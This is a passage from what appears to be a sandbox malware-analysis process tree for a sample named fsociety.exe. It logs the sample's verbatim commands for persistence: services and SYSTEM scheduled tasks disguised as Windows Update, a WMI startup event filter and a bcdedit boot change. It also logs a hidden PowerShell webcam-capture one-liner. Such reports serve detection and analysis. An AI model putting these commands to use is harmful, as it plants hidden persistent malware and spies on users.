    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    - Launches sc.exe
    PID:6448
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:6684
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    - Launches sc.exe
    PID:6940
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:5200
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6668
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:6552
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5344
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:5480
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6504
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:6580
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4180
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:6600
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:6008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:7856
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    PID:5516
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:7668
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:7456
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240775578.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240775578.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  - Executes a command shell one-liner
  PID:8184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240775578.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240775578.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7688
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:7396
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:8076
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:7464
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:7360

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
PID:1196
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1464
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:5032
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  PID:3284
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:1668
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:2624
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:2476
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  PID:3904
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    - Launches sc.exe
    PID:816
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  PID:1536
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    - Launches sc.exe
    PID:2372
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:5436
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:5656
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:6068
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:5652
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  PID:2848
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:2044
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  PID:5240
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    PID:4712
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  PID:6040
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:4712
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  PID:5196
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    PID:3308
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  PID:5880
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    - Launches sc.exe
    PID:1180
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:5868
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:3308
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  PID:5324
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:3128
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1800
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:5560
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  PID:5136
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:4876
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:6336
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:6796
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:7000
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:6256
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:5184
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:6784
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:6492
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:6948
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:5648
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:5440
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:6436
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:6772
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:7076
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7140
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:6852
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6872
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2980
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6204
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:6720
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5276
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:8036
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:7120
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:3600
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    PID:8172
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:7268
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5688

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
PID:2860
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:4128
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:4588
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:636
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:3780
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:4944
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:4480
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:4172
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:1084
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      Launches sc.exe
      PID:3660
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:5308
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:5616
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6076
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:5824
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:5368
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:5952
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:3372
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:5548
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:5988
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:2760
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:5916
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      Launches sc.exe
      PID:2980
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:5380
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      Launches sc.exe
      PID:5560
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:5248
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:5140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5840
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:5584
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:3796
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:1100
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6072
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:6152
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:6296
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      Launches sc.exe
      PID:6768
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6992
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      Launches sc.exe
      PID:5512
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:4980
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:6056
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6548
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:6352
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:2440
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:7136
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:5292
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:6936
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:6996
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:6844
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6912
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1700
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:896
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3844
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:1808
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7792
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:2284
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7308
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:7940
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:5204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:7952
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:7708

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:1644
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:5964
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:4520
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:6032
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6320
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:6752
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6944
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:2872
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:5896
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:6760
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:6832
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:1308
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5904
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:5540
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:216
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      Launches sc.exe
      PID:6484
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:6660
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:3728
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:2712
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:5560
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:1972
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:7060
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:6568
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:5216
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:7284
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:5568
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6256
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:7816
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6308
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:8016
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7232
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:7832
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:1812

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
PID:7036
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:5156
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:4772
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:6928
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:6480
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:5352
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:436
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:5448
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:6168
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:7008
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:5232
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:6536
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:7140
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:4592
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:6984
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:8012
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:4448
  - - C:\Windows\system32\sc.exe
